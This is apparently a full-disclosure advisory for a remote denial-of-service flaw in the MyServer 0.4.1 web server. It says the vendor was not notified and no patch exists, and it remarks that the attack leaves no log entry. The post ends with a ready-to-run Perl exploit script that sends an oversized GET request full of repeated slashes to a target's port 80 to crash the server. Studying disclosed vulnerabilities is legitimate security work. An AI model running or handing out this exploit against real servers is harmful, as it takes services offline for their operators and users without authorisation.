Ärende: Myserver 0.4.1 DOS..
------------------------------------------------------------
hi...


Topic:  	MyServer 0.4.1 DOS

Product: 	Myserver 0.4.1 (http://myserverweb.sourceforge.net)

Note:  		yep, I'm on the dole, anyone wanna give me a job :)

Vendor Notification:	Woooops, sorry i forgot ;)


Background:

(from homepage) MyServer is a free and easy to configure web
server. MyServer is licensed  under the GNU General Public License
(GPL). See the license page for  additional info.  Myserver runs
under both Windows and Linux..  Although there is allready several
found flaws in Myserver, I thought that  the closet bug to this was:
http://www.securityfocus.org/bid/7770/info/

but that was using excessive amounts of data.. We only need to use 20 "//" 
to cause a Dos condition..


Problem Description:

When Myserver is running a simple GET request can cause a Remote
Denial of  service, stopping the HTTP server alltogether..  Also an
extra note, this DOS doesn't get entered into the log file ;)

Impact:

Denial of service..possible code execution, haven't tested it fully 
yet..still finding holes  ;)

Patch:

Nope i don't do patches.... ;)

Exploit:
----------------myserver.pl------------------------
#!/usr/bin/perl
 
#Myserver 0.4.1 Remote Denial of service ;)
#oh joy...
#deadbeat, uk2sec
#eip@oakey.no-ip.com
#deadbeat@sdf.lonestar.org
 
use IO::Socket;
$dos = "//"x100;
$request = "GET $dos"."HTTP/1.0\r\n\r\n";
 
$target = $ARGV[0];
 
print "\n\nMyserver 0.4.1 Remote Denial Of Service..\n";
print "deadbeat, uk2sec..\n";
print "usage: perl $0 <target>\n";
$sox = IO::Socket::INET->new(
        Proto=>"tcp",
        PeerPort=>"80",
        PeerAddr=>"$target"
)or die "\nCan't connect to $target..\n";
print $sox $request;
sleep 2;
close $sox;
print "Done...\n";
